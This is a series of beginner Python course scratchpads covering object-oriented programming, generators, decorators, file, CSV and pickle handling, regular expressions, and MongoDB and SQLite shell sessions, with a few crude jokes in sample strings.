#         self.count = 0

#     def login(self):
#         if not self.active:
#             self.active = True
#             print(f"{self.username} has logged in")
#         else:
#             print(f"You are already logged in")

#     def __repr__(self):
#         return self.username


# user1 = User("jackma", "jack123", "beginner")


# class Moderator(User):
#     def __init__(self, username, password, age):
#         super().__init__(username, password, "expert")
#         self.age = age
#         self.groups = []


# jane = Moderator("jane99", "1234", 24)


# print(jane.__dict__)


class User:
    def __init__(self, username, password, dob):
        self.username = username
        self._password = password + " asdkjasndkjsandlkjandskjand"
        self._dob = dob
        self.active = False

    # Defined a property
    @property
    def password(self):
        unhashed = self._password.split(" ")[0]
        return unhashed

    # Defined a property setter
    @password.setter
    def password(self, new_password):
        if len(new_password) < 6:
            print("Password should be larger than 6 chars")
        else:
            self._password = new_password
            print("Password Changed")

    @property
    def age(self):
        a = 2021 - int(self._dob.split("/")[-1])
        return f"{self.username} is {a} years old."

    @age.setter
    def age(self, new_dob):
        self._dob = new_dob
        a = 2021 - int(self._dob.split("/")[-1])
        print(f"{self.username} is {a} years old.")

    # def get_password(self):
    #     return self._password

    # def set_password(self, new_password):
    #     if len(new_password) < 6:
    #         print("Password should be larger than 6 chars")
    #     else:
    #         self._password = new_password
    #         print("Password Changed")


user1 = User("jackma", "jack123", "17/5/2000")

# print(user1.get_password())
# user1.set_password("234123123")

# property
# print(user1.password)
# getter
# print(user1.get_password())

# user1.set_password("1234567")

# user1.password = "56"


# print(user1._password)
# print(user1.password)

# print(user1.age)

# user1.age = "12/5/1990"


class Human:
    def __init__(self, name):
        self.name = name

    # def speak(self):
    #     print("Hello World!")


class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        print("NOISEEEEE")


class Mutant(Animal, Human):
    def __init__(self, name):
        super().__init__(name)
        self.power = "laser"

    # def speak(self):
    #     print("I'm Wolverine")


# john = Human("John Doe")
# lion = Animal("Simba")
sabertooth = Mutant("Jack")


# john.speak()
# lion.speak()
sabertooth.speak()


# print(help(sabertooth))

Scratchpad #19

# class Animal:
#     def speak(self):
#         raise NotImplementedError("Subclass needs to implement this method")


# class Dog(Animal):
#     def speak(self):
#         return "bark"


# class Cat(Animal):
#     def speak(self):
#         return "meow"


# dexter = Dog()
# garfield = Cat()
# panda = Animal()

# # print(dexter.speak())
# # print(garfield.speak())
# print(panda.speak())


class Human:
    def __init__(self, first, last, age, lang):
        self.first = first
        self.last = last
        self.age = age
        self.lang = lang

    def __repr__(self):
        return f"{self.first} {self.last} aged {self.age} who speaks {self.lang}"

    def __len__(self):
        return self.age

    def __add__(self, other):
        if isinstance(other, Human):
            return Human("baby", self.last, 0, "dumb")
        else:
            print("Humans can't mate with other species you sick f***.")

    def __gt__(self, other):
        if self.age > other.age:
            return True
        else:
            return False


class Animal:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
        return f"{self.name} aged {self.age}"


kamal = Human("kamal", "khan", 2000, "machine code")
rakhi = Human("rakhi", "sawant", 40, "bullshit")

tarzan = Animal("tarzan", "10")


# print(kamal)
# print(rakhi)

# print(len(kamal))

# baby_kamal = tarzan + kamal

# print(baby_kamal)

# len(tarzan)

print(kamal > rakhi)

Scratchpad #20

# name = "john doe"  # iterable
# nums = [112, 123, 4, 12, 4, 55]  # iterable


# iterable_name = iter(name)

# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))
# print(next(iterable_name))

# def my_for(iterable):
#     n = iter(iterable)

#     while True:
#         try:
#             print(next(n))
#         except StopIteration:
#             break


# def my_for(func, iterable):
#     n = iter(iterable)

#     while True:
#         try:
#             func(next(n))
#         except StopIteration:
#             break


# # my_for("john doe")
# # my_for([123, 1243, 45, 23, 23, 2345])


# my_for(lambda x: print(x.upper()), "john doe")


# range(0, 10)


# class Counter:
#     def __init__(self, start, stop, step=1):
#         self.start = start
#         self.stop = stop
#         self.step = step

#     def __repr__(self):
#         return f"Counter({self.start}, {self.stop})"

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start <= self.stop:
#             current = self.start
#             self.start = self.start + self.step
#             return current
#         else:
#             raise StopIteration


# c = Counter(0, 10)

# # print(c)
# # print(iter(c))

# # for num in Counter(0, 50, 5):
# #     print(num)


# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))


# def g_count_upto(max):
#     count = 1
#     while count <= max:
#         yield count
#         count += 1


# def f_count_upto(max):
#     count = 1
#     res = []
#     while count <= max:
#         res.append(count)
#         count += 1
#     return res


# fcounter = f_count_upto(10)
# gcounter = g_count_upto(10)


# print(fcounter)
# print(list(gcounter))

# print(list(counter))

# for c in counter:
#     print(c)

# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))
# print(next(counter))


# a = [num for num in range(10)]
# b = (num for num in range(10))

# print(a)
# print(list(b))


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# def fib_gen(max):
#     a, b = 1, 2
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# for num in fib_list(10000000):
#     print(num)


# for num in fib_gen(10000000):
#     print(num)

import time

lc_start_time = time.time()
print(sum([num for num in range(100000000)]))
lc_total_time = time.time() - lc_start_time


gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_total_time = time.time() - gen_start_time

print(f"lc_total_time = {lc_total_time}")
print(f"gen_total_time = {gen_total_time}")

Scratchpad #21

# def get_multiples(num, count):
#     counter = 1
#     while counter <= count:
#         yield num * counter
#         counter += 1


# nums = list(get_multiples(10, 5))

# results = filter(lambda x: x, nums)

# for n in nums:
#     print(n)

# for n in nums:
#     print(n)

# for n in nums:
#     print(n)

# print(list(nums))


# nums = sum([num ** 2 for num in range(100000000)])
# nums = sum(num ** 2 for num in range(100000000))


# nums = (num ** 2 for num in range(100))
# nums2 = [num ** 2 for num in range(100)]

# print(nums)
# print(nums2)

# higher order function
# def math(a, b, fn):
#     return fn(a, b)


# print(math(10, 20, lambda x, y: x + y))

import random


# factory function
def make_greet_func(person):
    def make_message():
        msg = random.choice(
            ["Hello", "What!", "What the heck do you want!", "Get lost!"]
        )
        return f"{msg} {person}"

    return make_message


bro = make_greet_func("kamal")
bro2 = make_greet_func("arnab")

# add = lambda x, y: x + y

# print(bro)

# print(add(10, 5))

print(bro())
print(bro2())

Scratchpad #22

# import random


# def make_greet_func(person):
#     def make_message():
#         msg = random.choice(
#             ["Hello", "What!", "What the heck do you want!", "Get lost!"]
#         )
#         return f"{msg} {person}"

#     return make_message


# message = make_greet_func("John")

# print(message())


# class Greet:
#     def __init__(self, person):
#         self.person = person

#     def message(self):
#         msg = random.choice(
#             ["Hello", "What!", "What the heck do you want!", "Get lost!"]
#         )
#         return f"{msg} {self.person}"


# jane_msg = Greet("jane")

# print(jane_msg.message())


# def stars(fn):
#     def wrapper():
#         print("*" * 10)
#         fn()
#         print("*" * 10)

#     return wrapper


# @stars
# def say_hello():
#     print("Hello World")


# @stars  # say_goodbye = stars(say_goodbye)
# def say_goodbye():
#     print("Goodbye world")


# # say_hello()

# # say_hello = stars(say_hello)
# # say_goodbye = stars(say_goodbye)

# say_hello()
# say_goodbye()

# import functools
from functools import wraps


def stars(fn):
    """Decorator function that prints stars around it's param function's value"""

    @wraps(fn)  # wrapper = wraps(wrapper)
    def wrapper(*args, **kwargs):
        """RETURNING MODIFIED WRAPPER FUNCTION"""
        print("*" * 10)
        fn(*args, **kwargs)
        print("*" * 10)

    return wrapper


@stars
def say_hello(person):
    """Function that says hello to someone"""
    print(f"Hello {person}")


@stars  # say_goodbye = stars(say_goodbye)   -> wrapper()
def say_goodbye(msg, person):
    """Function that says goodbye to someone"""
    print(f"{msg}, {person}")


@stars
def say_wassup(person, person2, person3):
    print(f"Kamal loves {person}, {person2}, {person3}")


# say_hello = stars(say_hello)
# say_goodbye("I quit", "jane")


# say_hello("rakhi")
# say_goodbye("I want a divorce", "rakhi")
# say_wassup("kamal", "money", "honey")

# print(say_hello.__doc__)


@stars  # add = stars(add)    -> wrapper
def add(a, b):
    """Function that adds two numbers and returns the result"""
    print(a + b)


# add(10, 20)
print(add.__doc__)
print(add.__name__)

Scratchpad #23

# from time import time
# from functools import wraps


# # def speed_test(fn):
# #     @wraps(fn)
# #     def wrapper(*args, **kwargs):
# #         print(f"Executing {fn.__name__}")
# #         start_time = time()
# #         result = fn(*args, **kwargs)
# #         end_time = time()
# #         print(f"Time elapsed: {end_time - start_time}")
# #         return result

# #     return wrapper


# # @speed_test
# # def sum_nums_gen():
# #     return sum(num for num in range(10000000))


# # @speed_test
# # def sum_nums_list():  # sum_nums_list = speed_test(sum_nums_list)
# #     return sum([num for num in range(10000000)])


# # print(sum_nums_gen())
# # print(sum_nums_list())


# def ensure_no_kwargs(fn):
#     @wraps(fn)             # wrapper = wraps(fn)(wrapper)
#     def wrapper(*args, **kwargs):
#         # print(args)
#         # print(kwargs)
#         if kwargs:
#             raise ValueError("No Kwargs allowed")
#         else:
#             return fn(*args, **kwargs)

#     return wrapper


# @ensure_no_kwargs
# def greet(name):
#     """Greet someone"""
#     print(f"Hello, {name}")


# greet = ensure_no_kwargs(greet)

# # @ensure_no_kwargs
# # def ungreet(name):
# #     """Ungreet someone"""
# #     print(f"Goodbye, {name}")


# # greet("John")
# greet(name="John")

# # print(greet.__doc__)
# # print(ungreet.__doc__)


# def decorator(fn):
#     def wrapper(*args, **kwargs):
#         fn(*args, **kwargs)

#     return wrapper


# def outer(name):
#     def inner(fn):
#         def wrapper(*args, **kwargs):
#             fn(*args, **kwargs)

#         return wrapper

#     return inner


# @decorator  # func = decorator(func)
# def func(arg):
#     pass


# @decorator("John")
# def func(arg):
#     pass


# func = decorator(func)


# func = decorator("John")(func)


# # wraps(fn)(wrapper)


def enforce(*types):
    def decorator(f):
        def wrapper(*args, **kwargs):
            newargs = []
            for (a, t) in zip(args, types):
                newargs.append(t(a))
            return f(*newargs, **kwargs)

        return wrapper

    return decorator


# [("Hello World", str), ("10", int)]

# str()


@enforce(str, int)
def repeat(msg, count):
    for n in range(count):
        print(msg)


repeat("Hello World", "1A0")

Scratchpad #24

# https://docs.python.org/3/py-modindex.html

# import random as kamal

# print(kamal.choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))

# p = ["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]
# kamal.shuffle(p)

# print(p)

# print(kamal.randint(50, 100))
# print(kamal.random())


# from random import choice, shuffle, randint, random

# print(randint(0, 10))
# print(random())
# print(choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))

# from random import *

# choice()
# random()


# from random import choice as c, shuffle as rshuffle, randint, random as kuchbhi

# # print(kuchbhi())


# def shuffle():
#     print("HELLO")


# print(shuffle())


# from .customs.test import custom_math


# print(add(10, 50))

# print(sub(100, 5))


# import scratchpad_23 as s23
# from .customs import cus
# from .customs.test import custom_math

# s23.enforce()

# from pyfiglet import figlet_format
# from colorama import init, Fore, Back, Style
# from termcolor import colored


# init()


# def generate_art(text, color):
#     if color not in (
#         "grey",
#         "red",
#         "green",
#         "yellow",
#         "blue",
#         "magenta",
#         "cyan",
#         "white",
#     ):
#         color = "white"

#     art = figlet_format(text)
#     print(colored(art, color))


# # text = input("Please enter your desired text: ")
# # color = input("Please enter a color: ")


# # generate_art(text, color)


# # print(colored("Hello World", "LIGHTBLACK_EX"))
# print(colored("Hello, World!", "red", "on_magenta"))

# import time


# print("Hello World")
# time.sleep(5)
# print("Hello after 5 seconds")

def enforce(name):
    def inner(*types):
        def decorator(f):
            def wrapper(*args, **kwargs):
                newargs = []
                for (a, t) in zip(args, types):
                    newargs.append(t(a))
                return f(*newargs, **kwargs)

            return wrapper

        return decorator
    return inner



@enforce("john")(str, int)              # printer = enforce("john")(str, int)(printer)
def printer(message, count):
    for i in range(count):
        print(message)


printer("Hello World", 10)



# import random


# random.choice

Scratchpad #25

# file = open("text.txt")
# print(file.readlines())
# print(file.closed)
# file.close()


# with open("text.txt") as file:
#     print(file.read())
#     # file.seek(0)
#     # print(file.read())
#     print("Inside the with block/statement", file.closed)

# print("Outside the with block/statement", file.closed)

# file_content = ""

# with open("actors.txt", "w") as file:
#     file.write("Kamal Khan\n")
#     file.write("Shahrukh Khan\n")
#     file.write("Tom Cruise\n")

# # with open("actors.txt") as file:
# #     file_content = file.read()

# with open("actors.txt", "a") as file:
#     file.write("Manoj Bajpai\n")
#     file.write("Amir Khan\n")
#     file.write("Kangana Ranaut")


# print(file_content)

# with open("hello_world.txt", "w") as file:
#     file.write("Hello " * 100)


# with open("actors.txt", "w") as file:
#     file.write("Kamal Khan\n")
#     file.write("Shahrukh Khan\n")
#     file.write("Tom Cruise\n")
#     file.seek(0)
#     file.write("####")


# with open("actors.txt", "a") as file:
#     file.write("Kamal Khan\n")
#     file.write("Shahrukh Khan\n")
#     file.write("Tom Cruise\n")
#     file.seek(0)
#     file.write("####")

with open("actors.txt", "r+") as file:
    file.write("*" * 1000)
    file.seek(0)
    file.write("Welcome to your life!\n")
    file.seek(0)
    print(file.read())
    file.write("TEST ENDING MESSAGE")
    # file.seek(30)
    # file.write("\tREPLACE FROM THE START\t")

Scratchpad #26

# def csv_reader(filename):
#     """Reads a CSV file and returns a list of lists

#     Args:
#         filename (str): name and location of the csv file

#     Returns:
#         [list]: list of column list
#     """
#     with open(filename) as file:
#         res = []
#         for row in file.readlines():
#             cols = row.split(",")
#             sanitized = list(map(lambda i: i.replace("\n", ""), cols))
#             res.append(sanitized)
#     return res


# res = csv_reader("house_state.csv")

# for item in res:
#     print(f"{item[0]} | {item[1]} | {item[2]} | {item[2]}")


from csv import reader, DictReader, writer, DictWriter


# with open("info.csv") as file:
#     csv_data = reader(file)
#     for row in csv_data:
#         # Each row is a list
#         print(row)


# with open("info.csv") as file:
#     csv_data = DictReader(file)
#     for row in csv_data:
#         # Each row is a list
#         print(row)


# with open("info2.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["name", "height", "weight", "attack"])
#     csv_writer.writerow(["Brock Lesnar", 6.6, 320, "F5"])


# with open("info2.csv", "w", newline="") as file:
#     headers = ["name", "height", "weight", "attack"]
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     csv_writer.writerow(
#         {"name": "Brock Lesnar", "height": None, "weight": 320, "attack": "F5"}
#     )

import pickle


class User:
    def __init__(self, first, last, age):
        self.first = first
        self.last = last
        self.age = age

    def info(self):
        print(f"First Name: {self.first}\nLast Name: {self.last}\nAge: {self.age}")


# john = User("John", "Cena", 38)
# edge = User("Hunter", "Helmsley", 42)


# john.info()
# edge.info()


# with open("users.pickle", "wb") as file:
#     pickle.dump((john, edge), file)


with open("users.pickle", "rb") as file:
    john_restored = pickle.load(file)

    john, edge = john_restored

    # print(john)
    # print(edge)
    john.info()
    edge.info()

Scratchpad #27

import json
import jsonpickle


class User:
    def __init__(self, first, last, age):
        self.first = first
        self.last = last
        self.age = age

    def info(self):
        print(f"First Name: {self.first}\nLast Name: {self.last}\nAge: {self.age}")


# john = User("John", "Cena", 38)
# edge = User("Hunter", "Helmsley", 42)


# users = [
#     "john",
#     "jane",
#     {"first_name": "Jack", "last_name": "doe"},
#     None,
#     False,
#     True,
#     1000.23,
# ]

# j = json.dumps(users)

# j = json.dumps([john.__dict__, edge.__dict__])
# print(j)

# with open("users.json", "w") as file:
#     stored = jsonpickle.encode(john)
#     file.write(stored)


with open("users.json", "r") as file:
    contents = file.read()
    restored = jsonpickle.decode(contents)
    print(restored)
    restored.info()


# python -m pip install MODULE_NAME

Scratchpad #28

import re

# pattern = re.compile(r"\d{3}\s\d{4}-\d{4}")

# # res = pattern.search("Call us on 022 2393-4567 or 022 3453-3452")
# res = pattern.findall("Call us on 022 2393-4567 or 022 3453-3452")

# if res:
#     # print(res.group())
#     print(res)
# else:
#     print("Pattern not found")


# def extract_phone(input):
#     pattern = re.compile(r"\d{3}\s\d{4}-\d{4}")
#     match = pattern.search(input)

#     if match:
#         return match.group()
#     else:
#         return None


# def extract_all_phone(input):
#     pattern = re.compile(r"\d{3}\s\d{4}-\d{4}")
#     return pattern.findall(input)


# print(extract_phone("My phone is 022 3453-2213"))
# print(extract_phone("My phone is 022 3453-333"))
# print(extract_phone("My phone is 022 3453333"))

# print(extract_all_phone("My phone is 022 3453-2213 or 022 1232-3421"))


def validate_phone(phone):
    # pattern = re.compile(r"^\d{3}\s\d{4}-\d{4}$")
    pattern = re.compile(r"\d{3}\s\d{4}-\d{4}")
    match = pattern.fullmatch(phone)
    if match:
        return True
    else:
        return False


print(validate_phone("022 3453-2213"))

Scratchpad #29

# # # SQL

# # # Schema

# # # Students
# # # id | firstName | lastName | age | phone     | aadhaar
# # # 1  | john      |  doe     | 23  | 329409324 |
# # # 1  | john      |  doe     | 23  | 329409324 |
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  None    | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 24 | jack       | doe       23  | 435345435 | 23435345

# # # Students
# # # id | firstName | lastName | age | phone     | aadhaar
# # # 1  | john      |  doe     | 23  | 329409324 |
# # # 1  | john      |  doe     | 23  | 329409324 |
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  None    | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 1  | john      |  doe     | 23  | 329409324
# # # 24 | jack       | doe       23  | 435345435 | 23435345


# # # Trainers
# # # id | firstName | lastName | age | phone
# # # 1  | john      |  doe     | 23  | 329409324
# # # 2  | john      |  doe     | 23  | 329409324


# # # ONE TO MANY RELATIONSHIP
# # # ONE TO ONE
# # # MANY TO MANY


# # # SCALE VERTICAL

# # #
# # # $500000000000

# # # NOSQL

# # # Students collection
# # # Add document
# # [
# #     {_id: "234324345435", firstName: "John", lastName: "Doe", friends: []},
# #     {_id: "234324345435", firstName: "John", lastName: "Doe", age: 25},
# #     {
# #         _id: "234324345435",
# #         firstName: "John",
# #         lastName: "Doe",
# #         age: 25,
# #         trainer: "234324345435",
# #     },
# #     {_id: "234324345435", firstName: "John", lastName: "Doe", age: 25},
# # ]


# # # Trainer collection
# # [
# #     {
# #         _id: "234324345435",
# #         firstName: "John",
# #         lastName: "Doe",
# #         students: ["234324345435", "234324345435"],
# #     },
# #     {_id: "234324345435", firstName: "John", lastName: "Doe", age: 25},
# # ]


# # # $5  $5 $5 $5 $5


# # mongo
# # db
# # show dbs
# # use students
# #


# > db
# test
# >
# >
# >
# >
# >
# >
# > show dbs
# admin     0.000GB
# config    0.000GB
# ldp       0.000GB
# local     0.000GB
# rststore  0.000GB
# >
# >
# >
# > use students
# switched to db students
# >
# > show dbs
# admin     0.000GB
# config    0.000GB
# ldp       0.000GB
# local     0.000GB
# rststore  0.000GB
# >
# > db
# students
# >
# > db.students.insert({name: "John Doe", age: 25, city: "Mumbai"})
# WriteResult({ "nInserted" : 1 })
# >
# > db.students.insert({name: "Jack Doe", age: 28, city: "Delhi"})
# WriteResult({ "nInserted" : 1 })
# >
# > db.students.insert({name: "Jane Doe", age: 32, city: "Calcutta"})
# WriteResult({ "nInserted" : 1 })
# >
# > show dbs
# admin     0.000GB
# config    0.000GB
# ldp       0.000GB
# local     0.000GB
# rststore  0.000GB
# students  0.000GB
# >
# >
# > db
# students
# >
# > show collections
# students
# >
# >
# > db
# students
# >
# >
# > db.trainers.insert({name: "Jim Ambani", age: 30})
# WriteResult({ "nInserted" : 1 })
# >
# >
# > show collections
# students
# trainers
# >
# > db.students.find()
# { "_id" : ObjectId("607051755af2dc62d79ce9ca"), "name" : "John Doe", "age" : 25, "city" : "Mumbai" }
# { "_id" : ObjectId("607051cd5af2dc62d79ce9cb"), "name" : "Jack Doe", "age" : 28, "city" : "Delhi" }
# { "_id" : ObjectId("607051dd5af2dc62d79ce9cc"), "name" : "Jane Doe", "age" : 32, "city" : "Calcutta" }
# >
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "John Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051cd5af2dc62d79ce9cb"),
#         "name" : "Jack Doe",
#         "age" : 28,
#         "city" : "Delhi"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta"
# }
# >
# > db.trainers.find().pretty()
# {
#         "_id" : ObjectId("6070529e5af2dc62d79ce9cd"),
#         "name" : "Jim Ambani",
#         "age" : 30
# }
# >
# >
# > db.students.find({name: "John"})
# >
# > db.students.find({name: "John Doe"})
# { "_id" : ObjectId("607051755af2dc62d79ce9ca"), "name" : "John Doe", "age" : 25, "city" : "Mumbai" }
# >
# > db.students.insert({name: "John Doe", age: 18, city: "Dhaka"})
# WriteResult({ "nInserted" : 1 })
# >
# >
# > db.students.find()
# { "_id" : ObjectId("607051755af2dc62d79ce9ca"), "name" : "John Doe", "age" : 25, "city" : "Mumbai" }
# { "_id" : ObjectId("607051cd5af2dc62d79ce9cb"), "name" : "Jack Doe", "age" : 28, "city" : "Delhi" }
# { "_id" : ObjectId("607051dd5af2dc62d79ce9cc"), "name" : "Jane Doe", "age" : 32, "city" : "Calcutta" }
# { "_id" : ObjectId("607053ef5af2dc62d79ce9ce"), "name" : "John Doe", "age" : 18, "city" : "Dhaka" }
# >
# >
# > db.students.find({name: "John Doe"})
# { "_id" : ObjectId("607051755af2dc62d79ce9ca"), "name" : "John Doe", "age" : 25, "city" : "Mumbai" }
# { "_id" : ObjectId("607053ef5af2dc62d79ce9ce"), "name" : "John Doe", "age" : 18, "city" : "Dhaka" }
# >
# > db.students.findOne({name: "John Doe"})
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "John Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# >
# >
# > db.students.findById("607053ef5af2dc62d79ce9ce")
# uncaught exception: TypeError: db.students.findById is not a function :
# @(shell):1:1
# >
# >
# >
# >
# > db.students.findMany({name: "John Doe"})
# uncaught exception: TypeError: db.students.findMany is not a function :
# @(shell):1:1
# >
# > db.students.findmany({name: "John Doe"})
# uncaught exception: TypeError: db.students.findmany is not a function :
# @(shell):1:1
# >
# >
# >
# >
# >
# >
# > db.students.update({name: "John Doe"}, {$set: {name: "Japani Doe"}})
# WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
# >
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "Japani Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051cd5af2dc62d79ce9cb"),
#         "name" : "Jack Doe",
#         "age" : 28,
#         "city" : "Delhi"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta"
# }
# {
#         "_id" : ObjectId("607053ef5af2dc62d79ce9ce"),
#         "name" : "John Doe",
#         "age" : 18,
#         "city" : "Dhaka"
# }
# > db.students.updateMany({name: "John Doe"}, {$set: {name: "Bhutani Doe"}})
# { "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
# >
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "Japani Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051cd5af2dc62d79ce9cb"),
#         "name" : "Jack Doe",
#         "age" : 28,
#         "city" : "Delhi"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta"
# }
# {
#         "_id" : ObjectId("607053ef5af2dc62d79ce9ce"),
#         "name" : "Bhutani Doe",
#         "age" : 18,
#         "city" : "Dhaka"
# }
# >
# >
# > db.students.updateMany({age: {$gt: 26}}, {$set: {profession: "Chor"}})
# { "acknowledged" : true, "matchedCount" : 2, "modifiedCount" : 2 }
# >
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "Japani Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051cd5af2dc62d79ce9cb"),
#         "name" : "Jack Doe",
#         "age" : 28,
#         "city" : "Delhi",
#         "profession" : "Chor"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta",
#         "profession" : "Chor"
# }
# {
#         "_id" : ObjectId("607053ef5af2dc62d79ce9ce"),
#         "name" : "Bhutani Doe",
#         "age" : 18,
#         "city" : "Dhaka"
# }
# > db.students.deleteOne({age: {$gt: 26}})
# { "acknowledged" : true, "deletedCount" : 1 }
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "Japani Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta",
#         "profession" : "Chor"
# }
# {
#         "_id" : ObjectId("607053ef5af2dc62d79ce9ce"),
#         "name" : "Bhutani Doe",
#         "age" : 18,
#         "city" : "Dhaka"
# }
# > db.students.deleteMany({age: {$lt: 20}})
# { "acknowledged" : true, "deletedCount" : 1 }
# >
# > db.students.find().pretty()
# {
#         "_id" : ObjectId("607051755af2dc62d79ce9ca"),
#         "name" : "Japani Doe",
#         "age" : 25,
#         "city" : "Mumbai"
# }
# {
#         "_id" : ObjectId("607051dd5af2dc62d79ce9cc"),
#         "name" : "Jane Doe",
#         "age" : 32,
#         "city" : "Calcutta",
#         "profession" : "Chor"
# }
# >
# >
# >
# >
# >
# > db.students.deleteMany({})
# { "acknowledged" : true, "deletedCount" : 2 }
# >
# > db.students.find()
# >
# >
# > db
# students
# >
# >
# > db
# students
# >
# > show dbs
# admin     0.000GB
# config    0.000GB
# ldp       0.000GB
# local     0.000GB
# rststore  0.000GB
# students  0.000GB
# >
# > db.dropDatabase()
# { "dropped" : "students", "ok" : 1 }
# >
# > show dbs
# admin     0.000GB
# config    0.000GB
# ldp       0.000GB
# local     0.000GB
# rststore  0.000GB
# > db
# students
# > show collections
# >
# > exit
# bye

Scratchpad #30

from pymongo import MongoClient
from pprint import pprint

client = MongoClient("mongodb://127.0.0.1:27017")


db = client.pystudents
coll = db["users"]


# print(coll.find())

# doc1 = {"first_name": "John", "last_name": "Doe", "age": 25}

# users = [
#     {"first_name": "Jack", "last_name": "Doe", "age": 22},
#     {"first_name": "James", "last_name": "Doe", "age": 30},
#     {"first_name": "Jane", "last_name": "Ma", "age": 18},
#     {"first_name": "Jim", "last_name": "Ma", "age": 47},
#     {"first_name": "Jessica", "last_name": "Goku", "age": 52},
# ]

# # Inserting
# coll.insert_one(doc1)
# coll.insert_many(users)


# Finding
# for doc in coll.find():
#     print(doc["first_name"])


# query = {"age": {"$gt": 30}}
# new_value = {"$set": {"profession": ["chor", "thief", "robber"]}}

# Finding
# search_res = coll.find(query)
# pprint(list(search_res))

# Updating
# coll.update_many(query, new_value)

# search_res = coll.find(query)
# pprint(list(search_res))

# coll.delete_one({"first_name": "John"})
# coll.delete_many({})
# coll.delete_many(query)


# search_res = coll.find()
# pprint(list(search_res))


# client.drop_database("pystudents")


# SQLite version 3.33.0 2020-08-14 13:23:32
# Enter ".help" for usage hints.
# Connected to a transient in-memory database.
# Use ".open FILENAME" to reopen on a persistent database.
# sqlite> .open pystudents.db
# sqlite> CREATE TABLE students (name TEXT, age INTEGER);
# sqlite> .tables
# students
# sqlite>
# sqlite> .schema students
# CREATE TABLE students (name TEXT, age INTEGER);
# sqlite>
# sqlite> INSERT INTO students (name, age) VALUES ("John Doe", 25);
# sqlite> INSERT INTO students (name, age) VALUES ("Jane Doe", 28)
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...>
#    ...> ;
# sqlite> INSERT INTO students (name, age) VALUES ("Jack Ma", 34);
# sqlite>
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students;
# John Doe|25
# Jane Doe|28
# Jack Ma|34
# sqlite>
# sqlite> SELECT * FROM students WHERE name IS "Jane Doe";
# Jane Doe|28
# sqlite>
# sqlite> INSERT INTO students (name, age) VALUES ("Jane Doe", 40);
# sqlite>
# sqlite> SELECT * FROM students WHERE name IS "Jane Doe";
# Jane Doe|28
# Jane Doe|40
# sqlite>
# sqlite> INSERT INTO students (name, age) VALUES ("Jack Ma", 34);
# sqlite> INSERT INTO students (name, age) VALUES ("Jack Ma", 34);
# sqlite>
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students WHERE name IS "Jack Ma";
# Jack Ma|34
